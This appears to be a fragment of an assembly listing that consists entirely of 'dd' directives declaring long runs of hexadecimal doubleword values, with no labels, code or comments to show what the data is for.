		dd 1521D2B1h, 0ED65F734h, 0BEB4C427h, 30F78CBCh, 7655C29Fh
		dd 844039Eh, 0DA621D03h, 11230EA3h, 7E1BDDDFh, 0FE466479h
		dd 48D11C30h, 5D27BDDBh, 0E6C23BECh, 3FE38D3Dh,	0D40A591Eh
		dd 0A6AA036Fh, 0F8E1B352h, 5ACBAF80h, 83A6A715h, 3834646Bh
		dd 3696F938h, 7198F9B7h, 54EB1063h, 0CADDE053h,	24481641h
		dd 0D1CF8A68h, 44AEA0C1h, 0A4E42F0Bh, 0C0C1F527h, 3CB992BEh
		dd 0BB2E79Ah, 5C935412h, 0A6A0AA5h, 1273F7A3h, 0F5BA50AAh
		dd 7AFE8CD3h, 9C19F6h, 570CD467h, 0E94C6965h, 0E3C4210Fh
		dd 4A253CF6h, 419611F8h, 64628ECFh, 782741D9h, 0FA736F2Eh
		dd 0E6CB7711h, 83874FF9h, 0C26A9C53h, 4D8CE55Eh, 3734D81Dh
		dd 7923DB64h, 527939CAh, 8B3DCD9h, 54191E31h, 4FAF2110h
		dd 27FDBA11h, 0D44A5C2Ch, 9D6F418Fh, 0EED69DECh, 0E7CD5C33h
		dd 70687B91h, 0A3430295h, 0F3FA820Dh, 0A8094E64h, 0D745DA91h
		dd 0DD3773D6h, 843D4A34h, 0F56C51B4h, 9B3DD5A6h, 0C8384B3h
		dd 0F9446906h, 0D283E3D6h, 0B4CDD77Dh, 5B90811Fh, 5E4F1AC6h
		dd 0E8C0C7AFh, 2AE5C5Ah, 87E91FCDh, 1E18887Bh, 1BA3C33Ah
		dd 71BED98h, 21186EA8h,	553C4B83h, 51649C96h, 7403100Eh
		dd 0DFF12225h, 2655B700h, 0BC90596Ah, 1D5E6880h, 561F3C78h
		dd 97A271B8h, 339E6E2Dh, 23ED41EAh, 208C8227h, 3074A132h
		dd 0B4E8B31h, 7B57FD55h, 5CEC5F8Ah, 73F5CF21h, 6E64B769h
		dd 0DB17C93h, 0CB162DE3h, 0ACC0AC48h, 56A8BBE0h, 0F7BDBE75h
		dd 50E558E6h, 0A78CCC34h, 0B16E75A5h, 0F521C71Ah, 84048FF9h
		dd 74F15D9h, 3AA41FA9h,	0BE15EC4h, 0E5B0C593h, 80F14D55h
		dd 0A154E12Ch, 8B2CEBE6h, 19CAD01Dh, 8A0900A7h,	13DAF8DCh
		dd 0B271CAB1h, 365FB4DBh, 2EB9795Eh, 950F80Bh, 55F2613Ah
		dd 0E6FACD91h, 0D89EADB5h, 0A0BEA882h, 1ED8E4D6h, 4194F596h
		dd 0C4D892F1h, 1959148Eh, 5C81BBFh, 0C7C46EC1h,	4C3E1E0Ch
		dd 567BE27Ch, 0E02B0421h, 0AD5E1D7Fh, 7992FC7Bh, 0CB3BF407h
		dd 3EDE866Fh, 0ADCCF021h, 858C5B6h, 81E2F956h, 0C4548892h
		dd 0CC274783h, 8CE098A5h, 0D11061E1h, 0F9539C1Ch, 0BC483632h
		dd 33213671h, 7D7FE5F3h, 678B7F42h, 44A6B7C5h, 974AEDF2h
		dd 0DA75829Fh, 6F29D343h, 0F2A0918Fh, 5223653Dh, 0B8115D0Ch
		dd 430C0127h, 236E500Eh, 0A0AFFF8Eh, 0A8A252C8h, 0F67F7E4Eh
		dd 0A40C579Ch, 0D187AD0Dh, 0F2FB82B1h, 67E769A1h, 0C460DA75h
		dd 542AD310h, 70BA0594h, 58629812h, 9AFF14FFh, 54581CD5h
		dd 0B891CA47h, 0E2F6FE3h, 0E54260E9h, 2BCBA770h, 0D6FF5894h
		dd 48DD4BF0h, 0BF2ED3D7h, 398F69F1h, 51A44659h,	47B82EA4h
		dd 841CA39Dh, 2A84A586h, 6FA5E947h, 0C6545851h,	38725715h
		dd 64EA0E6Fh, 4DE1E217h, 4AB6969Bh, 26791880h, 0C4FFB3BAh
		dd 0AE8228A4h, 0DD7DD42Bh, 714D5331h, 8164D943h, 0B6ECE9EFh
		dd 26E3AAAFh, 3021CDF5h, 341DB898h, 1F35FEA9h, 11AE0763h
		dd 72B72BF1h, 0A07B7242h, 562F47B2h, 2E27165Dh,	1CA966C1h
		dd 0C89DCE14h, 3C806B72h, 20A870D3h, 0ABE0141h,	17403324h
		dd 0F26C0ECDh, 0CA1B97F3h, 0FA6AC2C1h, 0DE756D9Eh, 31B2C1BBh
		dd 0BCD96946h, 0D7CE43E0h, 0BD8C80CFh, 6D1999D4h, 0BEA2EDB8h
		dd 325EB37h, 0B1273045h, 520FEF12h, 969611A0h, 0F04C8677h
		dd 74E19841h, 75A7D533h, 0E401DCDDh, 0C4FEFB59h, 5F263AE2h
		dd 0C2CE2C42h, 402D69A3h, 3A730C08h, 0C9D91C71h, 255AE407h
		dd 0C29FB041h, 3099FB79h, 3A554D1Ch, 9C564AFFh,	368AAB74h
		dd 420C271Ah, 63DC8A70h, 0F7DA555Bh, 3D7BEA9Ch,	0E860B931h
		dd 0C1F6EB3h, 2ED908Ch,	0A5969AAh, 86FBD0B5h, 64FB2D13h
		dd 432DC747h, 0B736B231h, 863CDF4h, 0F86D71E0h,	4DA66D4Fh
		dd 0FA260F34h, 0E2A7AA73h, 0BDB762EEh, 0F2E5526h, 0A659BAEDh
		dd 0CA2C41FEh, 73EE7151h, 0ECE125CFh, 60888E1Dh, 10664FF2h
		dd 0D64ED07Dh, 42D6CBEEh, 16E70592h, 4D970627h,	168E2221h
		dd 0D4F8FF33h, 0D0BC8FA6h, 70A85081h, 55F1C147h, 6235F499h
		dd 0EF405B7Ch, 0F01ECCFEh, 0F90C79D3h, 4215356Ch, 0D9A3A40Ah
		dd 0E86A2F25h, 0A2C19A89h, 0ADF9F071h, 72E7061Ah, 5771A873h
		dd 26A51E78h, 38495F87h, 0F25D9D1Bh, 0EB5875EFh, 0D0405A2Bh
		dd 0F90CFFEh, 0D43C90A0h, 14927894h, 0BE65298Dh, 0AA12C962h
		dd 8BBCF4E4h, 0E140E3FCh, 0B67805Dh, 6D1306EEh,	0D4382E6h
		dd 67D4530h, 8EB86137h,	1C98CCD6h, 0BE994C83h, 0AE53F4A8h
		dd 271F124Bh, 3EAFCBD6h, 0CD621AC4h, 8BE22041h,	0C221FE87h
		dd 0C0099417h, 8C3CC46Eh, 264E67BDh, 81F9C2A8h,	68CE11CCh
		dd 1F4F1644h, 1DE0B6DEh, 5E553757h, 0B0BB79C4h,	8262DDFFh
		dd 0F1C6F7E4h, 0F7362411h, 6F9D0456h, 0F22B6396h, 2A37AB4Bh
		dd 603FDDD0h, 0F8476C4Bh, 0D83B130Ah, 0D727299Ch, 0CDE04158h
		dd 0F94E5CF6h, 7FCB4A36h, 66161751h, 0F2FF5846h, 1369A978h
		dd 0B58732FFh, 854436F4h, 5CF1CFAFh, 0E89E17DDh, 0B7171BF1h
		dd 0E1868AE7h, 0FC7E4EBAh, 6EA98AF8h, 5FD825C2h, 0A2A1FDF5h
		dd 5EE44133h, 0F33011Dh, 0E79AE0ECh, 0BB13D7E0h, 0BD0B9863h
		dd 0D9E45E36h, 47D04B64h, 9B0284EBh, 571A893h, 740EB921h
		dd 8FC20E9Ah, 5E912F34h, 0FD03D30Bh, 0D287798h,	0E5EFEC41h
		dd 0EAF92AEh, 48E11C1Ch, 0DAAF16BFh, 0EE939CA1h, 2ED22E39h
		dd 0B11832ACh, 7E130C78h, 1FC377B3h, 0FB63C8A3h, 0AC154CBEh
		dd 6C8283A0h, 65458924h, 4B50E489h, 0FD206AC1h,	2A897DBBh
		dd 848DDBEDh, 572D4A80h, 0DAE6410Bh, 0B3AF32B1h, 4F6D7E36h
		dd 5E9C562h, 9355865Eh,	0D880285Eh, 7128065Eh, 0EA59436Eh
		dd 76B13E44h, 8A66C32h,	8F7DF537h, 3F60E359h, 0ED3F923Ch
		dd 0F66F3770h, 0DDEA3A5Ch, 0C24B3CB6h, 6FEAFEBFh, 502A8E00h
		dd 0B10081D3h, 5FFE09CCh, 8A4B6B51h, 9D422A41h,	0F51C6BB1h
		dd 72FB45B8h, 21287047h, 773EED8h, 2EDD006Ah, 0EFCCE086h
		dd 478D5C9h, 0CB4F4002h
		dd 8A3EE316h, 3FC1126Dh, 7FE1A485h, 1DC77292h, 0B219991Bh
		dd 0D5CF7F6Eh, 99F1ADA2h, 153C2394h, 0BE3B84FAh, 0C2C1F6DAh
		dd 0A8FE9EFh, 0DEAB4411h, 6561F8F6h, 2260330Eh,	0EA5BBDECh
		dd 0F028B86Eh, 0DB8D1DABh, 28A54A70h, 6997E17Ch, 7ABE29F1h
		dd 0E01BDCBEh, 0F0A8957Eh, 67F0C9D2h, 63AEA0C8h, 82D8C1Bh
		dd 7D1574B4h, 66C3FD8Bh, 0AC6A684Ch, 0B0148AD9h, 571FDF88h
		dd 0E7483575h, 501CA2EBh, 0A1DCB2D4h, 0D89F511h, 0E78AF50Ah
		dd 0D782A152h, 30DCD303h, 0F973812Ah, 0ED0C1D97h, 0BFB68BC0h
		dd 47BE1585h, 7E72C107h, 1FB66887h, 0DABAB8F6h,	72A85E28h
		dd 0B8323187h, 5DC87C2Ch, 0BA12784Dh, 19DABE86h, 7C4D676Ch
		dd 0EE8FEC07h, 3E887785h, 4128E3E6h, 2817D7A0h,	44C7392Dh
		dd 4706C7C6h, 0DD000C0Eh, 9187FA3h, 6C329A39h, 0D20F9483h
		dd 0EDFB411Bh, 6F6285A1h, 1CE6A2E1h, 0C7F1D7B6h, 12B2ACEAh
		dd 6600A8FFh, 0DEAE885Eh, 0EF2BFEC9h, 69AD2B5Eh, 56DC83Ch
		dd 3051F7DDh, 9928CC8Dh, 4165F949h, 0CFA7087Ch,	0FA6CB927h
		dd 0BB860C67h, 7887C224h, 2FFDA5D4h, 0ECCC749Dh, 82B037D6h
		dd 8BB69D0Fh, 27906DFCh, 0FD2FF710h, 775606C7h,	0C16C49E8h
		dd 84123607h, 486FB437h, 0D737995Eh, 8C10F690h,	31060B5Eh
		dd 0F768D113h, 3F1B5816h, 675CDEBCh, 0F8B236D1h, 2A8A74DFh
		dd 90035145h, 0F4916FADh, 2201D75Bh, 0E8472144h, 13DE7157h
		dd 4C83280Eh, 845A6596h, 0D0A85B37h, 737EF537h,	8109EEABh
		dd 80A23DEEh, 0A9A75C6Ah, 7EF962BEh, 0F5FFA5ACh, 43A900E0h
		dd 71C97B87h, 9AD1A453h, 0B46C327Fh, 0FF743EF3h, 0DF15F288h
		dd 0AB1C40E1h, 9DB8E3F4h, 5F60D29Eh, 0DC3A410Dh, 852C58A5h
		dd 557287A3h, 15C46188h, 5B131F23h, 39E0CFBBh, 6EEA2A01h
		dd 9564C144h, 5EFC2AE3h, 8B191C6Fh, 2435044Dh, 7DA8A3h
		dd 679EAC5Bh, 9594E51Dh, 91BA374Fh, 0A4CCC203h,	0DAC1876Dh
		dd 8B5F8827h, 2A4C9AAh,	7DB8466Bh, 0E029155Eh, 36706D82h
		dd 0C2915C3Fh, 826E41B0h, 8A6E60A4h, 5AF1C784h,	0A914B50Ah
		dd 0BC545724h, 3F93C970h, 0A355E660h, 7F8CB187h, 0A0F32C9Eh
		dd 0EC41D125h, 3A286E81h, 0B28714CEh, 4B2E6E5Fh, 0BEC21074h
		dd 366B216Fh, 36F3B02Eh, 4A371B9h, 87D1B1FEh, 0BA690B46h
		dd 37524A30h, 5F52CD85h, 0AA09E9BAh, 8B1425Bh, 0EAA673E3h
		dd 7D4E18B0h, 0B109E89Dh, 0AD69D2D8h, 4710481Ah, 0D3544C2Bh
		dd 6484D7A1h, 0C3452DEBh, 49FAC7B9h, 55384E5Ah,	859282E3h
		dd 0F5C7899Eh, 0E8C49875h, 0CFBAD2Eh, 67073659h, 0EA87E365h
		dd 417A4144h, 690898B5h, 28CC590h, 10891F46h, 0C42C4432h
		dd 0D8FFAA76h, 0D011DF1Bh, 6F43D71Ch, 0C6F8C415h, 0FD36133h
		dd 2CA28C20h, 0E29F528Fh, 215F02F1h, 4F136CF5h,	0DF4EACFDh
		dd 448789A6h, 3DBBF335h, 2F6E34BCh, 9765E6BCh, 0F6748DB7h
		dd 0B82BD000h, 0B3A5B501h, 0CC9C4646h, 0EB186CDAh, 0BB0AABA5h
		dd 2020A479h, 0D2647004h, 6060EE5Dh, 0BA341F31h, 61429FAEh
		dd 9417F21Dh, 0CD3ACE55h, 0B00ACD5Dh, 1F94EE4Fh, 780E2095h
		dd 0B542B238h, 0F3CEFCA1h, 0F1B1409Ah, 6D282BADh, 27D8B5C2h
		dd 3A9766A7h, 81B71410h, 41BDF97Eh, 6D8E3E02h, 4B2CEC8Dh
		dd 38A31815h, 8E7A4533h, 71B3AED8h, 4A0E2C27h, 0F35AA48Fh
		dd 0C0F31567h, 6D5207A5h, 67CFBC60h, 0F39999D9h, 0FF7FDBFh
		dd 918DCB90h, 0FFF4CB5Fh, 977EFA8Bh, 1D168B70h,	49F4BBFBh
		dd 0FFA271Bh, 1DC2AEBAh, 3578E1B0h, 0EC87395Ch,	0CF4366B7h
		dd 0F496A044h, 338551CAh, 7B0FB8A1h, 38E73829h,	0CF7D79A1h
		dd 0A2B06147h, 447B27C2h, 0CA387E08h, 8567E747h, 0C5F63DD0h
		dd 0E1DDD85h, 98FA226Eh, 20C7B353h, 55645803h, 0E959A5DEh
		dd 0F2706A2Eh, 3E9EB184h, 7BE43E68h, 0ED67231h,	12507B71h
		dd 46D9E675h, 2C1CACA9h, 0E87B63BEh, 2E15A601h,	0E6631C40h
		dd 0FB062227h, 0DAD01778h, 4E440DBBh, 0EE676241h, 66BD52A0h
		dd 889158E0h, 2E41A78Fh, 0A91AF376h, 712E839Eh,	0E0A32620h
		dd 8A32C90Fh, 9B713FDDh, 601ADAC7h, 0B9CE49Fh, 2FE36696h
		dd 6059AA16h, 0DDD4A476h, 0FEF13DFh, 8B4B94Dh, 27F2A0C3h
		dd 8192FC9Eh, 0E5FAB864h, 0F9BA4BAh, 625EDFAEh,	650BC6E5h
		dd 148368C5h, 0BDDDF61h, 52C1FC5Dh, 0EFF720CEh,	4DE88AE1h
		dd 40D13216h, 0B34381EDh, 7E7FFF02h, 41BD9745h,	4475A5DFh
		dd 19B44D88h, 7893F32Fh, 0DB12B0AFh, 359DA7AEh,	7DCA583Fh
		dd 5810ECBBh, 4BE21129h, 2C7833B8h, 0E305765Bh,	324DE1FAh
		dd 0A988F8EBh, 24A7CDBCh, 0A820384Eh, 5443CA7Bh, 0E858F957h
		dd 0D17DE19h, 57B9D7AEh, 63EB2199h, 0FD531BAFh,	3A89AEDh
		dd 64885F7Bh, 55B1BEC0h, 0FF63384Bh, 9ABC8067h,	31740F45h
		dd 0F7ABB6ADh, 404D64A8h, 880BB45Ch, 0F358F1DAh, 0F4D34071h
		dd 5BED6422h, 0C4D80B37h, 23AD9AF5h, 0B71D5BCFh, 0B198CF51h
		dd 67C93207h, 955994FCh, 7C145F44h, 10D8E1FDh, 95770453h
		dd 0BA95A220h, 69710E6Eh, 32EE39F1h, 0FBB1D92Eh, 4ED5E166h
		dd 4059B53Bh, 0BACB3A02h, 0A61C8D85h, 8CC89298h, 4D02B01Bh
		dd 0A708545Ch, 1C3F6FD6h, 10025B61h, 9E25020Eh,	26EEDDA5h
		dd 63DD8196h, 9DA9A99Ah, 46D9B278h, 4A6C0D5Dh, 0ECB0C4Fh
		dd 88C517F5h, 6398559Dh, 470106Bh, 0BE41A8B8h, 0ADBA263h
		dd 0A80DFD43h, 0E14DA809h, 893A032h, 1CD981A2h,	1D2229CEh
		dd 3AA35E7Dh, 289256A7h, 5D4EF7EEh, 0C5D41FBh, 916AEE73h
		dd 65BF8C7Eh, 90A5CC09h, 9535A4C2h, 0E2E65E4Dh,	4B2CB5DBh
		dd 0DD696E99h, 9F4F044Eh, 2F7BA157h, 155544E6h,	0CDE7DC01h
		dd 798809C8h, 98B0D510h, 8EDFF815h, 0D5F2C6A4h,	0AF41058h
		dd 0B984AED9h, 0A8299572h, 0D4332FCBh, 0AC1D80DBh, 0B574E3A1h
		dd 0B309C7EDh, 0DFFA7D8Fh, 6DB74E13h, 770BE9CDh, 43CA5D5h
		dd 2A183805h, 3EA65F8Fh, 0DC125D92h, 5425CB07h,	0CA867F66h
		dd 0E0F773DFh, 1AC16087h, 246E01B1h, 6953F770h,	0A97FDAE4h
		dd 64E8B24Eh, 0F0C0DF7h, 2724EE99h, 4587EBCAh, 0C8C9E644h
		dd 14391140h, 3FA03370h, 25B02507h, 46A93A40h, 0E5E85EF7h
		dd 0F6A7F8Ch, 3132473Bh, 15B74D0Eh, 0F9C7F9DCh,	98D9DB82h
		dd 0AB41C53Ah, 37882EA1h, 26A18DC6h, 3D9C86BBh,	0EC1B871Dh
		dd 0B0DD362Eh, 34E6EC61h, 1780A290h, 3341C45Ch,	833DCCE1h
		dd 3D21603Fh, 46898DCEh, 11E3B809h, 8D411BE8h, 156AEDEFh
		dd 0BC1F5BC4h, 0FBD0AC59h, 0B1B6E9B2h, 36F5F8FDh, 26F530A7h
		dd 0DDAE1294h, 0B235F693h, 8EA74DC5h, 34674616h, 2B7BBC24h
		dd 96B642Fh, 57CD0917h,	0E8785B59h, 9A000D19h, 24EDEB6Ah
		dd 0E378FF2Ah, 0DE087403h, 241E494Dh, 83631FB1h, 349070FFh
		dd 0C4C951D8h, 61AF3240h, 0B9776E21h, 892E8F66h, 60AFAA5Eh
		dd 1B6446ACh, 1ACDA75h,	0EA76E300h, 0F19AD23Ah,	4CCD290Ah
		dd 35316DDBh, 3EE78E30h, 64A3503Eh, 60FDE4EEh, 0BE404D0h
		dd 4F5A75C7h, 1BD15A39h, 1F3A5D63h, 77EA75F6h, 0CBD02F5Ah
		dd 0FD37DB3Bh, 83C1D2B8h, 385F32B1h, 497F1578h,	4D2E3143h
		dd 0D112EAE4h, 24CAA411h, 4040BC2Eh, 90CA856Ah,	0FB6933ABh
		dd 9CFF66BAh, 127968EBh, 56B7494Bh, 1E1F2434h, 0BD776FCAh
		dd 0C11E3CBBh, 0E2299B09h, 0C9B807E9h, 634A96D9h, 3266347h
		dd 0DC15257Bh, 6AA950B0h, 3F06FCFAh, 5FF4B73Eh,	0BCB03651h
		dd 0B16AC0B4h, 1BDEFFE4h
		dd 1655BD1Bh, 6BE10D84h, 1DB177F9h, 0D85C4BF8h,	1EB88788h
		dd 9FCAD36Bh, 0ED3115C7h, 0C7E67C8Dh, 0C7623915h, 61696625h
		dd 0EA449E05h, 0DD4DDE0Ch, 30591A4h, 2DC68FB8h,	0C66E6FEEh
		dd 0DA9DDA6h, 503472EDh, 63D4E56h, 0F70FAF9Bh, 0E0E4082Fh
		dd 78689378h, 0C4498641h, 991A37E6h, 0B4CE5F3Dh, 0B95EC7C1h
		dd 51CAAA78h, 0A0257138h, 0DC75209Ch, 0A7BC07CAh, 0D10ABD1Eh
		dd 83916504h, 7E2FDEE8h, 0A7D84ED6h, 1375A1F5h,	8D8A1AF9h
		dd 0B93F0013h, 849EA4F1h, 7DA90E0Ah, 4DFC421Ch,	4AA6A937h
		dd 8F731294h, 0BE4C5F71h, 0A14DB59Bh, 58B47E54h, 78B645E3h
		dd 64ED4EA4h, 5C712998h, 0E086EAB0h, 0EFDADD17h, 4479E812h
		dd 52246910h, 0A3CAEEBAh, 838D5CE4h, 4E1AF279h,	3AD5B58Eh
		dd 0EBF8078h, 0D6B982BDh, 0F9D7A783h, 2AE23B5Eh, 0A058F1DDh
		dd 0EB0A9127h, 0F045BB19h, 0F5C4DE26h, 0E0B49459h, 10331CF7h
		dd 3FDA00CFh, 0EF5E0BFFh, 0F8C93BDBh, 527E08A8h, 9C433ED6h
		dd 3E57EE38h, 43721FC6h, 0AB997512h, 11F59030h,	0C46918E3h
		dd 4471CDCAh, 0A0430AF2h, 0FCCDA20h, 91BAC5E0h,	123C35A8h
		dd 0E54C807Dh, 575BF4B2h, 0C688CADDh, 0C5B51A98h, 0C2278A4Fh
		dd 70D347Dh, 0D9001B3Eh, 0C5F89EF2h, 0F37CEC72h, 0F5F5EA16h
		dd 0CBD3D587h, 295094C1h, 0C1667FB2h, 7C768065h, 0E747CEDh
		dd 0F6C1C1EFh, 5E0B0A6Fh, 0AEEA93Ah, 0FD6AE4D7h, 10971617h
		dd 1B72395Ch, 0C654C2F3h, 7D2D0AA8h, 2EC26ED2h,	574C7E6Eh
		dd 0DF2CCC73h, 2BC3CCF6h, 0FEA803CFh, 26994FBCh, 0F066C881h
		dd 6B9471AFh, 230BAA72h, 0CFDA197h, 465E25F5h, 0D199DAFh
		dd 0A499FA9Fh, 0CC2AC53Ah, 77A9E926h, 0FA019553h, 6BD3174Ch
		dd 2A8B81CEh, 0BF5E8453h, 20FE377Dh, 42BCD4EDh,	85288CAAh
		dd 158601F3h, 0E7F73E9h, 2EAFBD73h, 9364B2A7h, 248F1126h
		dd 0CE4A2C9h, 0EEDD0BCFh, 199F64AEh, 34C6E0F2h,	0ADC5B3D3h
		dd 1C2A1BF4h, 0C56774DBh, 0F9ED1C1Fh, 66878435h, 0D0F59897h
		dd 4C394FDh, 0F94246C5h, 0DBE57821h, 28A3619Fh,	0C1A68D81h
		dd 9A53A79Fh, 28DF8A03h, 4EE3022h, 0F429F235h, 71DF8973h
		dd 4673153Dh, 37EBC773h, 744DCE49h, 92C1CC02h, 0E501AFBFh
		dd 61ADA892h, 9059551Dh, 0D5234D46h, 39892675h,	4506AE12h
		dd 8D25F8BDh, 5AB1A1h, 77AC836Ah, 96B2A01Fh, 3A7CDCC1h
		dd 480A5E98h, 2A30F13Fh, 0F8C3B3CCh, 0C786DCF4h, 8C21D00Ah
		dd 827846E4h, 60A7CE31h, 8C51048Fh, 7DF5AFD2h, 0F18C3659h
		dd 0CBD32DA0h, 0CBA1ACCh, 1BF26BEEh, 0CE32556Dh, 0CC1DB6h
		dd 1777D8E5h, 0C71259DCh, 0F289421h, 0DF6939F9h, 12DEDC87h
		dd 0E88F5E09h, 710E9D42h, 0B5E2195Ch, 0D27D940Dh, 0BFAEB18Bh
		dd 76B1F19Bh, 283395ADh, 25ECDDFDh, 0B50701A9h,	17E56488h
		dd 0E1202B96h, 0D03D1BF2h, 0AB6F57AEh, 3462ACDDh, 89CC841Ch
		dd 0E51FAE81h, 0A35A1E30h, 2D8D0252h, 0D2E0895Dh, 0D8FEB831h
		dd 89F8C4FEh, 667775FFh, 3CC5E2EDh, 872F1648h, 0C4876E4Eh
		dd 866FF829h, 0E96E5146h, 0F89BFB5Dh, 6AEB86A0h, 0CC10E86h
		dd 35E4D663h, 26409987h, 97A2BA40h, 46B8264h, 0FDC7AC9Fh
		dd 0C1E9D462h, 66F1B4C7h, 9EC0FCE8h, 266E6498h,	4AAF6938h
		dd 0F34CBDC5h, 29F865E3h, 0CE86599Fh, 9CA28A25h, 321CBC2Eh
		dd 0D4D8D702h, 9F372542h, 59961AA0h, 94A01FF8h,	4E4BE861h
		dd 0ACA3FD83h, 0DEED77C6h, 71401C9h, 9631D22Dh,	7002C369h
		dd 0CFB77661h, 85AB9B41h, 285E71Fh, 92A61F16h, 0A0F5D06Eh
		dd 0A3C0020Eh, 7693A25Ch, 1D4714EAh, 8F91435Fh,	0B82B5498h
		dd 7F71FEF7h, 13989D65h, 9B5CACE4h, 8A96C10Ah, 4572E08Eh
		dd 0E009D953h, 155A0870h, 0A2248DEDh, 1766D19Eh, 58620559h
		dd 0F31C9118h, 0A59E7E95h, 0D77B0792h, 8B924DD2h, 3905E14Eh
		dd 0B6CA492h, 0C10E661h, 52237464h, 4423E3CCh, 0A0BA5737h
		dd 0A3F97D82h, 5F381417h, 2E4A1BF9h, 7F78ED89h,	0F98823BBh
		dd 0FEB1261h, 78ADECCh,	3561F843h, 6AF858AFh, 0A5DC0BE8h
		dd 0D809270Ah, 0DE943E0Bh, 8DA3726Dh, 87221EE2h, 8835AC9h
		dd 21923508h, 2BD32B74h, 404EFAAFh, 6465B5E9h, 0B3414C03h
		dd 0DC7B34Fh, 8D8ACE52h, 24DA8A85h, 321E1DEAh, 5FFD00F2h
		dd 7449970Ah, 0CDB80FC1h, 0FECC81D7h, 0D7CD6A66h, 76152F15h
		dd 2985BD6Fh, 0D7A10EFh, 0C987DFAEh, 224920C8h,	8886EF65h
		dd 23F2BF3Ch, 13D45389h, 5C06367Bh, 6324E174h, 51D618D4h
		dd 5DB04D1Ah, 6DEA903Ch, 2C53D1DDh, 4E3A76h, 0FA3A2FDEh
		dd 9C07995Dh, 13D9DD13h, 3726477Fh, 0CF4A172Fh,	61E5FFA1h
		dd 75772290h, 0DA444F99h, 0EE5D8299h, 0DD3D1402h, 9752584Ah
		dd 5514F0A3h, 4F69FC85h, 73B480C2h, 0DBC1701Fh,	804917FBh
		dd 6C5B752h, 7A100C74h,	6BADDAD2h, 0EA27B87Dh, 15699996h
		dd 42AFFDF3h, 0B4D0B0C6h, 0A9C1529Eh, 805498FCh, 5ED11C66h
		dd 0DD92D3CEh, 4B490807h, 54999DC3h, 0EB82E9F7h, 57C823C7h
		dd 4B83FB45h, 4A665058h, 168D84EFh, 28980E42h, 293D4241h
		dd 291FC751h, 0F76B2570h, 0FA7A3CE9h, 3B37B10Bh, 46314FF9h
		dd 8B50013Ah, 98AA0845h, 0E9A833h, 82E45193h, 0DC48E983h
		dd 5198FFC1h, 0B5DC6E35h, 35A7245Ch, 0D391B581h, 0B02A3BB0h
		dd 9315B823h, 861266D2h, 0D2818A5Ch, 2E34C48Eh,	0F4A2325h
		dd 0C9E89A11h, 7C34F3DCh, 0AA026971h, 0AE023768h, 11887488h
		dd 71D86414h, 306F7DEDh, 0D780178Ah, 5495BD7Dh,	0EBFE4894h
		dd 5A38B32Fh, 0E72A3F51h, 0ADC43783h, 4AD7E2DAh, 0BBA76B6Ah
		dd 28C95F9Fh, 6F5FF656h, 983D4DD3h, 0C96C8950h,	48E069C1h
		dd 4EA5AC9Eh, 499FA16Ch, 85F0DFE3h, 929ECD12h, 0CCB59FBCh
		dd 3A3EE5Bh, 7A2D1FD0h,	0EFB7893Eh, 0A248D125h,	0B841974Bh
		dd 63A96077h, 2251774Ah, 8BC6A9A7h, 0CB222CBEh,	25985AB1h
		dd 0A8DE83E5h, 9960FD83h, 20CC9DDEh, 2DEC5769h,	1CEE0579h
		dd 841DF514h, 7F4F7FFDh, 680F11C6h, 17DD8370h, 0E72A53F2h
		dd 0E0CC6D94h, 0A3895F10h, 615F64B4h, 729CAE06h, 2A90DD77h
		dd 385A163Ah, 0A64F4E5Fh, 0ED5866DFh, 65E778FEh, 0B7423C09h
		dd 0C3DFBCDBh, 2FDA0939h, 6531A82Eh, 97DB52A4h,	0CCD101B5h
		dd 2E21E90Ah, 35243B45h, 74FB753Ch, 0A2EC5F23h,	0D6F55704h
		dd 495B6FADh, 0DA0BD6DDh, 0E08329FEh, 7543E856h, 0C5A8C892h
		dd 74B63BD9h, 4B3C03BAh, 0B28288F2h, 6C142867h,	8D5EE0Ah
		dd 0E6C79CDh, 6413EE4Eh, 0E4F10BEh, 57671318h, 0BBC71929h
		dd 18B5D94h, 76E0A689h,	0F3F0ADADh, 986705AEh, 444E96B1h
		dd 385542C3h, 0ECE6312Fh, 9B93DFAEh, 1690FB7Ah,	0E04BC62Bh
		dd 6D14604Ch, 152DA5F8h, 4811D14Eh, 58D45E11h, 0AE3686A4h
		dd 67CE4DE2h, 0A43B7F29h, 37BCF03Ah, 0E996DFE1h, 878CE561h
		dd 0DD1A974Dh, 0F72ABD6Ah, 0A7C557EAh, 0A4847EDFh, 0DB73EB6Fh
		dd 547A3C00h, 5315B92Eh, 55CA7AABh, 94DD53D8h, 0E83DC1F3h
		dd 488F2F2Eh, 8C72A67Fh, 0CADDD651h, 36E39775h,	84E2ED68h
		dd 0FD1DE6BFh, 0C3718398h, 118790F9h, 0A7D173CEh, 0BCFD4725h
		dd 73A69C1Eh, 32062BCDh, 8C475506h, 0B3EBB306h,	0EDCCE61Bh
		dd 652C9322h, 0BEFD6B1Fh, 7F2074DEh, 84FFC687h,	93AC29CAh
		dd 0D3E8427Eh, 4DD2E157h, 3FBCC591h, 0FE88A689h, 0EB5064E7h
		dd 0A0442070h, 278CC51Dh, 241FAA00h, 0E724FC38h, 48240837h
		dd 4B503EE7h, 0C8A6AF4h
		dd 9D141190h, 8E221452h, 378551CFh, 57689533h, 297F88A4h
		dd 78ABF0C3h, 4E822CDCh, 174B4CAh, 0E607ED7Fh, 66963F1Dh
		dd 0B9BFAD8Fh, 10F8C764h, 1C8BF189h, 7BB5C347h,	0CAE52ED0h
		dd 41A2965Ah, 85FCF31Dh, 770A7E69h, 0D573F344h,	5838E639h
		dd 9CBA4B54h, 910E24BCh, 2426F2BBh, 83D129D6h, 3125FD3Eh
		dd 4862851Fh, 79133A42h, 39501277h, 0D1F249E6h,	0C32D8632h
		dd 0E3148B75h, 4F16A611h, 0AE1E791Eh, 0D79F3193h, 0AFA435F0h
		dd 0B45FAA12h, 3247FC0Ch, 3881B2CFh, 340E11F1h,	5E5DA3C8h
		dd 0C8B524B7h, 755B22A5h, 0FFE28E11h, 3B8056A4h, 0A7EE2C5Fh
		dd 0BE553A97h, 0EDA7A883h, 0EB975BA2h, 595C1C00h, 245F7B6Bh
		dd 1BF33794h, 1922CCDFh, 2B8F4C8Dh, 0DC16DC80h,	0CBC5C2F7h
		dd 777CF1CFh, 0E3980D46h, 68B50606h, 4EED113Fh,	0E26E45E1h
		dd 98E56E99h, 4870DBDFh, 58CE20D7h, 8103088h, 3F934BEFh
		dd 631FFC17h, 458BEE2Fh, 6E88BD79h, 0C541535Eh,	2B091221h
		dd 964780F2h, 6B8D493Bh, 0EAA8B53Ch, 71835CBEh,	0A6C1A4Fh
		dd 9C01F2CEh, 5364CC8h,	0AA0CA93h, 0A054BFDEh, 289041C4h
		dd 604ADF74h, 3932B51Fh, 0D006FE18h, 0E2452BA2h, 0B1495530h
